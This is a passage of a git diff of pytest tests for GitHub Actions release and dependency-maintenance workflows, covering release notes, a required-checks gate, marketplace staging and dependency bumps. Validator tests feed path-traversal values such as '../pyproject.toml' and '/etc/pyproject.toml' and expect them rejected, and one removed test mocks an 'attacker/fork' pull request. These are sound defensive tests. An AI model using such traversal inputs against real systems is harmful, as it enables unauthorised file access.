notes") + + assert at(upload, "with", "name") == "github-release-notes-${{ github.run_attempt }}" + assert at(upload, "with", "if-no-files-found") == "error" + + +@pytest.mark.parametrize("path", sorted(WORKFLOWS.glob("*.y*ml")), ids=lambda path: path.name) +def test_local_action_references_resolve(path: Path) -> None: + references = [line.split("uses: $/", 1)[1].strip() for line in path.read_text().splitlines() if "uses: $/" in line] + + assert all((ROOT / reference / "action.yml").is_file() or (ROOT / reference).is_file() for reference in references) diff --git a/tests/render_release_notes/test_notes.py b/tests/render_release_notes/test_notes.py index e3e6ad1..de8f9ef 100644 --- a/tests/render_release_notes/test_notes.py +++ b/tests/render_release_notes/test_notes.py @@ -1,5 +1,3 @@ -from __future__ import annotations - from pathlib import Path from textwrap import dedent @@ -61,6 +59,20 @@ def test_render_release_notes_uses_tagged_changelog( [๐Ÿ“œ Full Changelog](https://github.com/tox-dev/fixture/compare/0.1.0...0.2.0) """, ) + + +def test_render_release_notes_reports_previous_tag( + tagged_repository: Path, tmp_path: Path, action_scripts: Path +) -> None: + result = action( + tagged_repository, + tmp_path, + action_scripts, + "render-release-notes", + version="0.2.0", + TAG="0.2.0", + ) + assert result.returncode == 0, result.stderr assert "previous=0.1.0" in (tmp_path / "output").read_text() @@ -162,3 +174,48 @@ def test_render_release_notes_rejects_unpaired_labels( ) assert result.returncode != 0 assert "artifact-label has 1 lines for 2 artifact-url lines" in result.stdout + + +def test_render_release_notes_selects_package_section( + tagged_repository: Path, tmp_path: Path, action_scripts: Path +) -> None: + (tagged_repository / "CHANGELOG.md").write_text( + dedent( + """\ + # Changelog + + ## fixture + + ### 0.2.0 (2026-10-20) + + #### Added + + - Add a new feature ([#2](https://github.com/tox-dev/fixture/pull/2)) by + [@gaborbernat](https://github.com/gaborbernat). + + ## other + + ### 0.2.0 (2026-10-20) + + #### Added + + - Add a feature to the other package. + """, + ), + ) + run(tagged_repository, "git", "add", "CHANGELOG.md") + run(tagged_repository, "git", "commit", "-m", "Release fixture 0.2.0") + run(tagged_repository, "git", "tag", "fixture/0.2.0") + result = action( + tagged_repository, + tmp_path, + action_scripts, + "render-release-notes", + version="fixture/0.2.0", + TAG="fixture/0.2.0", + PACKAGE="fixture", + ) + assert result.returncode == 0, result.stderr + notes = (tmp_path / "release-notes.md").read_text() + assert "Add a new feature" in notes + assert "other package" not in notes diff --git a/tests/required_checks/test_gate.py b/tests/required_checks/test_gate.py new file mode 100644 index 0000000..b5219bf --- /dev/null +++ b/tests/required_checks/test_gate.py @@ -0,0 +1,84 @@ +import json +from pathlib import Path + +import pytest +from conftest import WORKFLOWS, action, at, load_yaml, mapping, steps + + +@pytest.mark.parametrize( + ("results", "allow_skipped", "accepted"), + [ + pytest.param({"test": "success", "lint": "success"}, "", True, id="all-succeeded"), + pytest.param({"test": "success", "lint": "failure"}, "", False, id="failed-job"), + pytest.param({"test": "success", "lint": "cancelled"}, "", False, id="cancelled-job"), + pytest.param({"test": "success", "lint": "skipped"}, "", False, id="skipped-job-not-allowed"), + pytest.param({"test": "success", "lint": "skipped"}, "lint", True, id="skipped-job-allowed"), + pytest.param({"test": "success", "lint": "success"}, "lint", True, id="allowed-job-ran"), + pytest.param({"test": "failure", "lint": "skipped"}, "lint", False, id="allowed-skip-hides-failure"), + pytest.param( + {"test": "skipped", "lint": "skipped", "docs": "success"}, + "test", + False, + id="other-skip-not-allowed", + ), + pytest.param( + {"test": "skipped", "lint": "skipped", "docs": "success"}, + "test\nlint", + True, + id="multi-line-allowed-skips", + ), + ], +) +def test_gate_requires_each_needed_job_to_succeed( + tmp_path: Path, + action_scripts: Path, + results: dict[str, str], + allow_skipped: str, + accepted: bool, +) -> None: + result = action( + tmp_path, + tmp_path, + action_scripts, + "required-checks", + version="", + NEEDS=_needs(results), + ALLOW_SKIPPED=allow_skipped, + ) + assert (result.returncode == 0) is accepted, result.stderr + + +def test_gate_rejects_allowed_job_missing_from_needs(tmp_path: Path, action_scripts: Path) -> None: + result = action( + tmp_path, + tmp_path, + action_scripts, + "required-checks", + version="", + NEEDS=_needs({"test": "success"}), + ALLOW_SKIPPED="tset", + ) + assert result.returncode != 0 + assert "allow-skipped names a job that is not in needs: tset" in result.stderr + + +def test_gate_is_used_by_ci_and_needs_its_jobs() -> None: + ci = load_yaml(WORKFLOWS / "ci.yaml") + gate = steps(ci, "gate")[-1] + + assert at(ci, "jobs", "gate", "needs") == ["check", "shell", "test", "type"] + assert at(ci, "jobs", "gate", "if") == "${{ !cancelled() }}" + assert gate["uses"] == "$/required-checks" + assert gate["with"] == {"needs": "${{ toJSON(needs) }}"} + + +def test_ci_does_not_repeat_changelog_lock_check() -> None: + assert "release-tools-preview" not in mapping(load_yaml(WORKFLOWS / "ci.yaml")["jobs"]) + + +def test_news_validates_the_changelog_with_validate_news() -> None: + assert steps(load_yaml(WORKFLOWS / "news.yaml"), "changelog")[-1]["uses"] == "$/validate-news" + + +def _needs(results: dict[str, str]) -> str: + return json.dumps({name: {"result": result} for name, result in results.items()}) diff --git a/tests/stage_jetbrains_marketplace/test_stage.py b/tests/stage_jetbrains_marketplace/test_stage.py new file mode 100644 index 0000000..3b17c77 --- /dev/null +++ b/tests/stage_jetbrains_marketplace/test_stage.py @@ -0,0 +1,107 @@ +import hashlib +import os +from pathlib import Path + +import pytest +from conftest import action + + +@pytest.fixture +def release_creator(tmp_path: Path) -> Path: + bin_dir = tmp_path / "bin" + bin_dir.mkdir() + script = bin_dir / "release-creator" + script.write_text( + """\ +#!/usr/bin/env bash +printf '%s\\n' "$@" >"$RUNNER_TEMP/release-creator.args" +while (($#)); do + if [[ "$1" == --github-output ]]; then echo publish=true >>"$2"; fi + shift +done +""" + ) + script.chmod(0o755) + return bin_dir + + +@pytest.fixture +def signed_archive(tmp_path: Path) -> tuple[Path, str]: + archive = tmp_path / "Plugin-1.2.3-signed.zip" + archive.write_bytes(b"signed bytes") + return archive, hashlib.sha256(b"signed bytes").hexdigest() + + +@pytest.mark.parametrize( + ("version", "mode", "expected", "github_output"), + [ + pytest.param("v1.2.3", "stage", {"channel": "", "publish": "true"}, True, id="stable-stage"), + pytest.param("v1.2.3-beta.1", "stage", {"channel": "beta", "publish": "true"}, True, id="beta-stage"), + pytest.param("v1.2.3-beta.1", "verify", {"channel": "beta", "publish": ""}, False, id="beta-verify"), + ], +) +def test_compares_archive_and_derives_channel( + action_scripts: Path, + repository: Path, + tmp_path: Path, + release_creator: Path, + signed_archive: tuple[Path, str], + version: str, + mode: str, + expected: dict[str, str], + github_output: bool, +) -> None: + archive, digest = signed_archive + outputs: dict[str, str] = {} + result = action( + repository, + tmp_path, + action_scripts, + "stage-jetbrains-marketplace", + outputs, + version=version, + ARCHIVE=str(archive), + SHA256=digest, + PLUGIN_ID="com.example.plugin", + MODE=mode, + PATH=f"{release_creator}:{os.environ['PATH']}", + ) + assert result.returncode == 0, result.stderr + assert outputs == expected + arguments = (tmp_path / "release-creator.args").read_text().splitlines() + assert arguments[:8] == [ + "marketplace", + "--plugin-id", + "com.example.plugin", + "--version", + version.removeprefix("v"), + "--archive", + str(archive), + "--mode", + ] + assert arguments[8] == mode + assert ("--github-output" in arguments) is github_output + + +def test_rejects_archive_that_differs_from_signing_digest( + action_scripts: Path, + repository: Path, + tmp_path: Path, + release_creator: Path, + signed_archive: tuple[Path, str], +) -> None: + archive, _ = signed_archive + result = action( + repository, + tmp_path, + action_scripts, + "stage-jetbrains-marketplace", + version="v1.2.3", + ARCHIVE=str(archive), + SHA256="0" * 64, + PLUGIN_ID="com.example.plugin", + MODE="stage", + PATH=f"{release_creator}:{os.environ['PATH']}", + ) + assert result.returncode != 0 + assert not (tmp_path / "release-creator.args").exists() diff --git a/tests/test_conftest.py b/tests/test_conftest.py index 0e0dea2..5c26a3e 100644 --- a/tests/test_conftest.py +++ b/tests/test_conftest.py @@ -1,11 +1,63 @@ -from __future__ import annotations - from pathlib import Path import pytest -from conftest import run +from conftest import load_yaml, mapping, run, run_workflow_step, steps, text def test_run_reports_failed_command(tmp_path: Path) -> None: with pytest.raises(AssertionError, match="false failed with exit code 1"): run(tmp_path, "false") + + +def test_run_workflow_step_expands_values_into_declared_env(tmp_path: Path) -> None: + (tmp_path / "gradle.properties").write_text("pluginVersion=1.2.2\n") + result, _ = run_workflow_step( + "jetbrains-plugin-check.yaml", + "build", + "๐Ÿท๏ธ Set plugin version", + cwd=tmp_path, + runner_temp=tmp_path, + values={"inputs.plugin-version": "v1.2.3"}, + env={}, + ) + assert result.returncode == 0, result.stderr + assert (tmp_path / "gradle.properties").read_text() == "pluginVersion=1.2.3\n" + + +def test_run_workflow_step_skips_expansion_of_overridden_variables(tmp_path: Path) -> None: + (tmp_path / "gradle.properties").write_text("pluginVersion=1.2.2\n") + result, _ = run_workflow_step( + "jetbrains-plugin-check.yaml", + "build", + "๐Ÿท๏ธ Set plugin version", + cwd=tmp_path, + runner_temp=tmp_path, + values={}, + env={"PLUGIN_VERSION": "v1.2.3"}, + ) + assert result.returncode == 0, result.stderr + assert (tmp_path / "gradle.properties").read_text() == "pluginVersion=1.2.3\n" + + +def test_load_yaml_rejects_a_top_level_sequence(tmp_path: Path) -> None: + path = tmp_path / "workflow.yaml" + path.write_text("- one\n") + with pytest.raises(TypeError, match="is not a YAML mapping"): + load_yaml(path) + + +def test_mapping_rejects_a_sequence() -> None: + with pytest.raises(TypeError, match="expected a mapping"): + mapping(["one"]) + + +def test_text_rejects_a_sequence() -> None: + with pytest.raises(TypeError, match="expected text"): + text(["one"]) + + +def test_steps_rejects_a_job_without_a_step_list(tmp_path: Path) -> None: + path = tmp_path / "workflow.yaml" + path.write_text("jobs:\n build:\n steps: none\n") + with pytest.raises(TypeError, match="expected a step list"): + steps(load_yaml(path), "build") diff --git a/tests/update_python_dependencies/test_update.py b/tests/update_python_dependencies/test_update.py new file mode 100644 index 0000000..65be557 --- /dev/null +++ b/tests/update_python_dependencies/test_update.py @@ -0,0 +1,350 @@ +import os +import re +import stat +from pathlib import Path +from typing import TYPE_CHECKING, Final + +import pytest +from conftest import ( + WORKFLOWS, + JsonObject, + JsonValue, + at, + load_yaml, + mapping, + run, + run_workflow_step, + step, + steps, + workflow_env, +) + +if TYPE_CHECKING: + import subprocess + +_WORKFLOW: Final[str] = "update-python-dependencies.yaml" +_PATCH: Final[str] = "๐Ÿ“ Write maintenance patch" +_GATE: Final[str] = "๐Ÿงน Reject hook failures that changed no file" +_DEFAULTS: Final[dict[str, str]] = { + "inputs.allowed-paths": "docs/*.md", + "inputs.cooldown": "7 days", + "inputs.exclude-newer": "7 days", + "inputs.exclude-newer-package": "", + "inputs.expedite": "", + "inputs.files": "pyproject.toml tox.toml", + "inputs.fresh-groups": "project test", + "inputs.kind": "app", +} + + +@pytest.fixture +def workflow() -> JsonObject: + return load_yaml(WORKFLOWS / _WORKFLOW) + + +@pytest.fixture +def repository(tmp_path: Path) -> Path: + repo = tmp_path / "repository" + repo.mkdir() + run(repo, "git", "init", "-b", "main") + run(repo, "git", "config", "user.name", "Release test") + run(repo, "git", "config", "user.email", "release@example.org") + (repo / "pylock.toml").write_text("lock-version = '1.0'\n") + (repo / "pyproject.toml").write_text('[project]\nname = "example"\n') + run(repo, "git", "add", ".") + run(repo, "git", "commit", "-m", "Initial files") + return repo + + +def test_cutoff_is_a_utc_timestamp(repository: Path, tmp_path: Path) -> None: + result, outputs = validate(repository, tmp_path) + assert result.returncode == 0, result.stderr + assert re.fullmatch(r"\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}Z", outputs["cutoff"]) + + +def validate( + repository: Path, tmp_path: Path, **inputs: str +) -> tuple[subprocess.CompletedProcess[str], dict[str, str]]: + values = _DEFAULTS | {f"inputs.{key.replace('_', '-')}": value for key, value in inputs.items()} + return run_workflow_step( + _WORKFLOW, + "generate", + "โš™๏ธ Validate inputs and set the cutoffs", + cwd=repository, + runner_temp=tmp_path, + values=values, + env={"ALLOWED_EXTRA": values["inputs.allowed-paths"]}, + ) + + +def test_allowed_paths_extend_the_lock_and_config_files(repository: Path, tmp_path: Path) -> None: + result, outputs = validate(repository, tmp_path) + assert result.returncode == 0, result.stderr + assert outputs["allowed-paths"].splitlines() == ["pylock.toml", "pyproject.toml", "tox.toml", "docs/*.md"] + + +def test_validated_inputs_are_handed_to_later_steps(repository: Path, tmp_path: Path) -> None: + result, _ = validate(repository, tmp_path, expedite="release-creator\nnab", files="pyproject.toml tox.toml\n") + assert result.returncode == 0, result.stderr + assert (tmp_path / "expedite").read_text() == "release-creator\nnab\n" + assert (tmp_path / "file-groups").read_text() == "pyproject.toml tox.toml\n" + assert (tmp_path / "fresh-groups").read_text() == "" + + +def test_library_keeps_fresh_groups(repository: Path, tmp_path: Path) -> None: + result, _ = validate(repository, tmp_path, kind="library", fresh_groups="project\ntest") + assert result.returncode == 0, result.stderr + assert (tmp_path / "fresh-groups").read_text() == "project\ntest\n" + + +def test_zero_days_turns_the_bump_cooldown_off(repository: Path, tmp_path: Path) -> None: + result, outputs = validate(repository, tmp_path, cooldown="0 days") + assert result.returncode == 0, result.stderr + assert outputs["cutoff"] == "none" + + +def test_empty_extra_paths_add_no_pattern(repository: Path, tmp_path: Path) -> None: + result, outputs = validate(repository, tmp_path, allowed_paths="") + assert result.returncode == 0, result.stderr + assert outputs["allowed-paths"].splitlines() == ["pylock.toml", "pyproject.toml", "tox.toml"] + + +@pytest.mark.parametrize( + ("options", "message"), + [ + pytest.param({"kind": "tool"}, "kind must be app or library", id="unknown-kind"), + pytest.param({"cooldown": "P7D"}, "cooldown must be N days", id="iso-duration"), + pytest.param({"cooldown": "7 weeks"}, "cooldown must be N days", id="weeks"), + pytest.param({"expedite": "bad name!"}, "is not a package name", id="expedite-name"), + pytest.param({"kind": "library", "fresh_groups": "bad group!"}, "is not a dependency group", id="group-name"), + pytest.param({"kind": "library", "fresh_groups": ""}, "needs at least one fresh-groups", id="no-groups"), + pytest.param({"files": "../pyproject.toml"}, "is not a plain relative path", id="parent-path"), + pytest.param({"files": "/etc/pyproject.toml"}, "is not a plain relative path", id="absolute-path"), + pytest.param({"files": "a*.toml"}, "is not a plain relative path", id="glob-path"), + pytest.param({"files": "\n\n"}, "lists no dependency file", id="no-files"), + ], +) +def test_rejects_invalid_inputs(repository: Path, tmp_path: Path, options: dict[str, str], message: str) -> None: + result, _ = validate(repository, tmp_path, **options) + assert result.returncode != 0 + assert message in result.stderr + + +def test_bump_runs_each_group_with_expedite(repository: Path, tmp_path: Path) -> None: + result, outputs = validate( + repository, tmp_path, expedite="release-creator", files="pyproject.toml tox.toml\ndocs/a.toml" + ) + assert result.returncode == 0, result.stderr + result, calls = bump(repository, tmp_path, outputs) + assert result.returncode == 0, result.stderr + prefix = [ + "--exclude-newer", + "7 days", + "--exclude-newer-package", + "bump-deps-index=2026-11-04T02:21:00Z", + "bump-deps-index>=1.19", + "--exclude-newer", + outputs["cutoff"], + ] + assert calls == [ + "\t".join( + [*prefix, "--exclude-newer-package", "release-creator=false", "--file", "pyproject.toml", "tox.toml"] + ), + "\t".join([*prefix, "--exclude-newer-package", "release-creator=false", "--file", "docs/a.toml"]), + ] + + +def bump( + repository: Path, tmp_path: Path, outputs: dict[str, str], **inputs: str +) -> tuple[subprocess.CompletedProcess[str], list[str]]: + bin_dir = tmp_path / "bin" + bin_dir.mkdir(exist_ok=True) + log = fake_uvx(bin_dir) + values = _DEFAULTS | {"steps.inputs.outputs.cutoff": outputs["cutoff"]} + values |= {f"inputs.{key.replace('_', '-')}": value for key, value in inputs.items()} + result, _ = run_workflow_step( + _WORKFLOW, + "generate", + "๐Ÿ“ฆ Bump dependency floors", + cwd=repository, + runner_temp=tmp_path, + values=values, + env={"PATH": f"{bin_dir}{os.pathsep}{os.environ['PATH']}", "UVX_LOG": str(log)}, + ) + return result, (log.read_text().splitlines() if log.exists() else []) + + +def fake_uvx(bin_dir: Path) -> Path: + script = bin_dir / "uvx" + script.write_text('#!/usr/bin/env bash\n(IFS=$\'\\t\'; echo "$*") >>"$UVX_LOG"\n') + script.chmod(script.stat().st_mode | stat.S_IXUSR) + return bin_dir / "uvx.log" + + +def test_tool_install_takes_the_exclude_newer_inputs(repository: Path, tmp_path: Path) -> None: + result, outputs = validate(repository, tmp_path, cooldown="0 days") + assert result.returncode == 0, result.stderr + result, calls = bump( + repository, + tmp_path, + outputs, + exclude_newer="2026-10-01T00:00:00Z", + exclude_newer_package="bump-deps-index=2026-11-01T00:00:00Z", + ) + assert result.returncode == 0, result.stderr + assert calls == [ + "--exclude-newer\t2026-10-01T00:00:00Z\t--exclude-newer-package\tbump-deps-index=2026-11-04T02:21:00Z\t--exclude-newer-package\tbump-deps-index=2026-11-01T00:00:00Z\tbump-deps-index>=1.19\t--no-exclude-newer\t--file\tpyproject.toml\ttox.toml" + ] + + +def test_library_bump_keeps_fresh_groups_fresh(repository: Path, tmp_path: Path) -> None: + result, outputs = validate(repository, tmp_path, kind="library") + assert result.returncode == 0, result.stderr + result, calls = bump(repository, tmp_path, outputs) + assert result.returncode == 0, result.stderr + assert calls == [ + "\t".join( + [ + "--exclude-newer", + "7 days", + "--exclude-newer-package", + "bump-deps-index=2026-11-04T02:21:00Z", + "bump-deps-index>=1.19", + "--exclude-newer", + outputs["cutoff"], + "--exclude-newer-group", + "project=false", + "--exclude-newer-group", + "test=false", + "--file", + "pyproject.toml", + "tox.toml", + ] + ) + ] + + +def test_bump_without_cooldown_passes_no_cutoff(repository: Path, tmp_path: Path) -> None: + result, outputs = validate(repository, tmp_path, cooldown="0 days") + assert result.returncode == 0, result.stderr + result, calls = bump(repository, tmp_path, outputs) + assert result.returncode == 0, result.stderr + assert calls[0].split("\t")[-4:] == ["--no-exclude-newer", "--file", "pyproject.toml", "tox.toml"] + assert len(calls) == 1 + + +def test_bump_uses_the_workflow_requirement_constant() -> None: + assert workflow_env(_WORKFLOW) == {"BUMP_DEPS_INDEX": "bump-deps-index>=1.19"} + + +def test_patch_step_reports_no_change(repository: Path, tmp_path: Path) -> None: + result, outputs = run_workflow_step( + _WORKFLOW, "generate", _PATCH, cwd=repository, runner_temp=tmp_path, values=_DEFAULTS, env={} + ) + assert result.returncode == 0, result.stderr + assert outputs == {"changed": "false"} + assert not (tmp_path / "maintenance.patch").exists() + + +def test_patch_step_writes_every_change_including_new_files(repository: Path, tmp_path: Path) -> None: + (repository / "pylock.toml").write_text("lock-version = '2.0'\n") + (repository / "docs").mkdir() + (repository / "docs/new.md").write_text("New.\n") + result, outputs = run_workflow_step( + _WORKFLOW, "generate", _PATCH, cwd=repository, runner_temp=tmp_path, values=_DEFAULTS, env={} + ) + assert result.returncode == 0, result.stderr + assert outputs == {"changed": "true"} + patch = (tmp_path / "maintenance.patch").read_text() + assert "diff --git a/pylock.toml b/pylock.toml" in patch + assert "diff --git a/docs/new.md b/docs/new.md" in patch + + +def test_locked_tools_install_beside_the_bump(workflow: JsonObject) -> None: + names = [item.get("name") for item in steps(workflow, "generate")] + assert step(workflow, "generate", "๐Ÿ“ฆ Install locked release tools")["background"] == "true" + assert step(workflow, "generate", "โณ Wait for locked release tools")["wait"] == "tools" + assert ( + names.index("๐Ÿ“ฆ Install locked release tools") + < names.index("๐Ÿ“ฆ Bump dependency floors") + < names.index("โณ Wait for locked release tools") + < names.index("๐Ÿ”’ Refresh release lock") + ) + + +def test_repository_hooks_run_once_after_the_lock_refresh(workflow: JsonObject) -> None: + names = [item.get("name") for item in steps(workflow, "generate")] + runs = [ + item for item in steps(workflow, "generate") if mapping(item.get("with", {})).get("args") == "run --all-files" + ] + assert len(runs) == 1 + assert step(workflow, "generate", "๐Ÿงน Install prek hooks")["background"] == "true" + assert step(workflow, "generate", "๐Ÿงน Run repository hooks")["continue-on-error"] == "true" + assert step(workflow, "generate", _GATE)["if"] == "steps.hooks.outcome == 'failure'" + assert ( + names.index("๐Ÿ”’ Refresh release lock") + < names.index("โณ Wait for prek hooks") + < names.index("๐Ÿงน Run repository hooks") + < names.index(_GATE) + ) + + +def test_hook_gate_rejects_a_failure_that_changed_nothing(repository: Path, tmp_path: Path) -> None: + result, _ = run_workflow_step( + _WORKFLOW, "generate", _GATE, cwd=repository, runner_temp=tmp_path, values=_DEFAULTS, env={} + ) + assert result.returncode != 0 + assert "repository hooks failed without changing a file" in result.stderr + + +def test_hook_gate_accepts_a_failure_that_rewrote_files(repository: Path, tmp_path: Path) -> None: + (repository / "pylock.toml").write_text("staged\n") + run(repository, "git", "add", "--all") + (repository / "pylock.toml").write_text("rewritten by a hook\n") + result, _ = run_workflow_step( + _WORKFLOW, "generate", _GATE, cwd=repository, runner_temp=tmp_path, values=_DEFAULTS, env={} + ) + assert result.returncode == 0, result.stderr + + +def test_generate_job_is_read_only(workflow: JsonObject) -> None: + assert at(workflow, "jobs", "generate", "permissions") == {"contents": "read"} + + +@pytest.mark.parametrize( + ("key", "expected"), + [ + pytest.param("needs", "generate", id="needs"), + pytest.param("if", "needs.generate.outputs.changed == 'true'", id="if"), + pytest.param("uses", "$/.github/workflows/open-maintenance-pr.yaml", id="uses"), + pytest.param( + "secrets", + {"RELEASE_APP_PRIVATE_KEY": "${{ secrets.RELEASE_APP_PRIVATE_KEY }}"}, + id="secrets", + ), + ], +) +def test_open_job_hands_off_from_generate(workflow: JsonObject, key: str, expected: JsonValue) -> None: + assert at(workflow, "jobs", "open", key) == expected + + +def test_external_actions_are_pinned_to_commit_shas() -> None: + workflow_text = (WORKFLOWS / _WORKFLOW).read_text() + unpinned = [ + reference + for reference in re.findall(r"uses: (\S+)", workflow_text) + if not (reference.startswith("$/") or re.search(r"@[0-9a-f]{40}$", reference)) + ] + assert unpinned == [] + + +@pytest.mark.parametrize( + "forbidden", + [ + pytest.param("peter-evans", id="peter-evans"), + pytest.param("uv lock", id="uv-lock"), + pytest.param("cargo", id="cargo"), + ], +) +def test_workflow_avoids_forbidden_tools(forbidden: str) -> None: + assert forbidden not in (WORKFLOWS / _WORKFLOW).read_text() diff --git a/tests/upgrade_release_tools/test_upgrade.py b/tests/upgrade_release_tools/test_upgrade.py index 26adb5d..76da4ae 100644 --- a/tests/upgrade_release_tools/test_upgrade.py +++ b/tests/upgrade_release_tools/test_upgrade.py @@ -1,30 +1,17 @@ -from __future__ import annotations - import os import subprocess from pathlib import Path +from typing import Final import pytest -import yaml -from conftest import run -from pytest_httpserver import HTTPServer - +from conftest import WORKFLOWS, JsonObject, at, load_yaml, run, step, step_list, steps -@pytest.fixture(scope="session") -def upgrade_scripts(action_scripts: Path) -> Path: - return action_scripts +ROOT: Final = Path(__file__).resolve().parents[2] -@pytest.fixture(scope="session") -def publish_scripts(tmp_path_factory: pytest.TempPathFactory) -> Path: - source = Path(__file__).resolve().parents[2] - scripts = tmp_path_factory.mktemp("publish-steps") - workflow = yaml.safe_load((source / ".github/workflows/upgrade-release-tools.yaml").read_text()) - for step in workflow["jobs"]["publish"]["steps"]: - if "run" in step: - name = step.get("id", step["name"].split(" ", 1)[1]).replace(" ", "-").lower() - (scripts / f"publish-{name}.sh").write_text(step["run"]) - return scripts +@pytest.fixture +def workflow() -> JsonObject: + return load_yaml(WORKFLOWS / "upgrade-release-tools.yaml") @pytest.fixture @@ -47,135 +34,47 @@ def lock_repository(tmp_path: Path) -> Path: return repository -def test_upgrade_emits_patch_for_lock_change(lock_repository: Path, tmp_path: Path, upgrade_scripts: Path) -> None: +def test_upgrade_emits_patch_for_lock_change(lock_repository: Path, tmp_path: Path, action_scripts: Path) -> None: (lock_repository / "pylock.toml").write_text('lock-version = "1.0"\n') run(lock_repository, "git", "add", ".") run(lock_repository, "git", "commit", "-m", "Add lock") (lock_repository / "pylock.toml").write_text((lock_repository / "pylock.toml").read_text() + "\n") result = execute( lock_repository, - refresh_script(upgrade_scripts, "lock"), + refresh_script(action_scripts, "lock"), tmp_path, MODE="refresh", GITHUB_OUTPUT=str(tmp_path / "output"), ) assert result.returncode == 0, result.stderr assert (tmp_path / "output").read_text() == "changed=true\n" - assert "diff --git a/pylock.toml b/pylock.toml" in (tmp_path / "lock.patch").read_text() - - -@pytest.mark.parametrize( - ("path", "additional_lock", "accepted"), - [ - pytest.param("pylock.toml", "", True, id="lock"), - pytest.param("pyproject.toml", "", False, id="project"), - pytest.param("pylock.zipapp.toml", "pylock.zipapp.toml", True, id="secondary-lock"), - pytest.param(".pre-commit-config.yaml", "", False, id="hook-config"), - pytest.param("uv.lock", "", False, id="uv-lock"), - pytest.param("other.txt", "", False, id="unrelated-file"), - ], -) -def test_upgrade_checks_lock_patch_path( - lock_repository: Path, - tmp_path: Path, - publish_scripts: Path, - path: str, - additional_lock: str, - accepted: bool, -) -> None: - (lock_repository / path).write_text("before\n") - run(lock_repository, "git", "add", ".") - run(lock_repository, "git", "commit", "-m", "Add file") - (lock_repository / path).write_text("after\n") - patch = run(lock_repository, "git", "diff", "--binary", "--", path).stdout - run(lock_repository, "git", "restore", path) - patch_dir = tmp_path / "release-tools-lock" - patch_dir.mkdir() - (patch_dir / "lock.patch").write_text(patch) - result = execute( - lock_repository, - publish_scripts / "publish-check-artifact-patch-paths.sh", - tmp_path, - ADDITIONAL_LOCK=additional_lock, - ) - assert (result.returncode == 0) == accepted - assert (f"unexpected lock patch path: {path}" in result.stderr) == (not accepted) - assert run(lock_repository, "git", "status", "--porcelain").stdout == "" - - -@pytest.mark.parametrize("unsafe_mode", ["executable", "symlink"]) -def test_upgrade_rejects_unsafe_file_mode( - lock_repository: Path, tmp_path: Path, publish_scripts: Path, unsafe_mode: str -) -> None: - target = lock_repository / "pylock.toml" - target.write_text("before\n") - run(lock_repository, "git", "add", "pylock.toml") - run(lock_repository, "git", "commit", "-m", "Add lock") - if unsafe_mode == "executable": - target.chmod(0o755) - else: - target.unlink() - target.symlink_to("other.txt") - patch = run(lock_repository, "git", "diff", "--binary", "--", "pylock.toml").stdout - run(lock_repository, "git", "restore", "pylock.toml") - patch_dir = tmp_path / "release-tools-lock" - patch_dir.mkdir() - (patch_dir / "lock.patch").write_text(patch) - applied = execute(lock_repository, publish_scripts / "publish-apply-lock-patch.sh", tmp_path) - assert applied.returncode == 0, applied.stderr - result = execute(lock_repository, publish_scripts / "publish-check-dependency-patch-file-mode.sh", tmp_path) - assert result.returncode != 0 - assert "unexpected dependency file mode" in result.stderr - - -def test_upgrade_preserves_requested_pull_request_body( - lock_repository: Path, tmp_path: Path, publish_scripts: Path -) -> None: - result = execute( - lock_repository, - publish_scripts / "publish-write-dependency-pull-request-body.sh", - tmp_path, - PR_BODY="Refresh release tools.", - ) - assert result.returncode == 0, result.stderr - assert (tmp_path / "pull-request.md").read_text() == "Refresh release tools.\n" - - -def test_upgrade_finds_only_own_dependency_pull_request( - lock_repository: Path, - tmp_path: Path, - publish_scripts: Path, - github_api: tuple[HTTPServer, dict[str, str]], -) -> None: - server, environment = github_api - server.expect_request( - "/api/v3/repos/tox-dev/fixture/pulls", - method="GET", - query_string="base=main&head=tox-dev%3Aautomation%2Fupdate-release-tools&state=open", - ).respond_with_json( - [ - { - "number": 17, - "head": {"repo": {"full_name": "attacker/fork"}, "ref": "automation/update-release-tools"}, - "base": {"ref": "main"}, - }, - { - "number": 18, - "head": {"repo": {"full_name": "tox-dev/fixture"}, "ref": "automation/update-release-tools"}, - "base": {"ref": "main"}, - }, - ] - ) - result = execute( - lock_repository, - publish_scripts / "publish-pr.sh", - tmp_path, - **environment, - GITHUB_REPOSITORY="tox-dev/fixture", - GITHUB_OUTPUT=str(tmp_path / "output"), - ) - assert result.returncode == 0, result.stderr - assert (tmp_path / "output").read_text() == "number=18\n" + assert "diff --git a/pylock.toml b/pylock.toml" in (tmp_path / "maintenance.patch").read_text() + + +def test_upgrade_hands_the_patch_to_the_maintenance_writer(workflow: JsonObject) -> None: + assert at(workflow, "jobs", "open") == { + "name": "๐Ÿ”€ Open release tools PR", + "needs": "generate-lock", + "if": "needs.generate-lock.outputs.changed == 'true'", + "permissions": {"contents": "read"}, + "uses": "$/.github/workflows/open-maintenance-pr.yaml", + "with": { + "artifact-id": "${{ needs.generate-lock.outputs.artifact-id }}", + "allowed-paths": "pylock.toml\n${{ inputs.additional-lock }}\n", + "branch": "automation/update-release-tools", + "title": "${{ inputs.pull-request-title }}", + "body": "${{ inputs.pull-request-body }}", + "labels": "dependencies\nskip news\n", + }, + "secrets": {"RELEASE_APP_PRIVATE_KEY": "${{ secrets.RELEASE_APP_PRIVATE_KEY }}"}, + } + + +def test_upgrade_checks_cutoff_exceptions_before_refreshing_the_lock(workflow: JsonObject) -> None: + names = [item["name"] for item in steps(workflow, "generate-lock")] + + assert step(workflow, "generate-lock", "๐Ÿ“… Check cutoff exception expiry")["uses"] == "$/check-nab-exceptions" + assert names.index("๐Ÿ“… Check cutoff exception expiry") < names.index("๐Ÿ”’ Refresh release lock") def execute(repository: Path, script: Path, tmp_path: Path, **environment: str) -> subprocess.CompletedProcess[str]: @@ -185,7 +84,7 @@ def execute(repository: Path, script: Path, tmp_path: Path, **environment: str) env=os.environ | { "RUNNER_TEMP": str(tmp_path), - "GITHUB_ACTION_PATH": str(Path(__file__).resolve().parents[2] / "refresh-release-lock"), + "GITHUB_ACTION_PATH": str(ROOT / "refresh-release-lock"), "ADDITIONAL_LOCK": "", "ADDITIONAL_GROUPS": "", "ADDITIONAL_SELECTION": "build-or-groups", @@ -201,7 +100,6 @@ def execute(repository: Path, script: Path, tmp_path: Path, **environment: str) def refresh_script(scripts: Path, name: str) -> Path: - source = Path(__file__).resolve().parents[2] - steps = yaml.safe_load((source / "refresh-release-lock/action.yml").read_text())["runs"]["steps"] - index = next(index for index, step in enumerate(steps) if step.get("id") == name) + action_steps = step_list(at(load_yaml(ROOT / "refresh-release-lock/action.yml"), "runs", "steps")) + index = 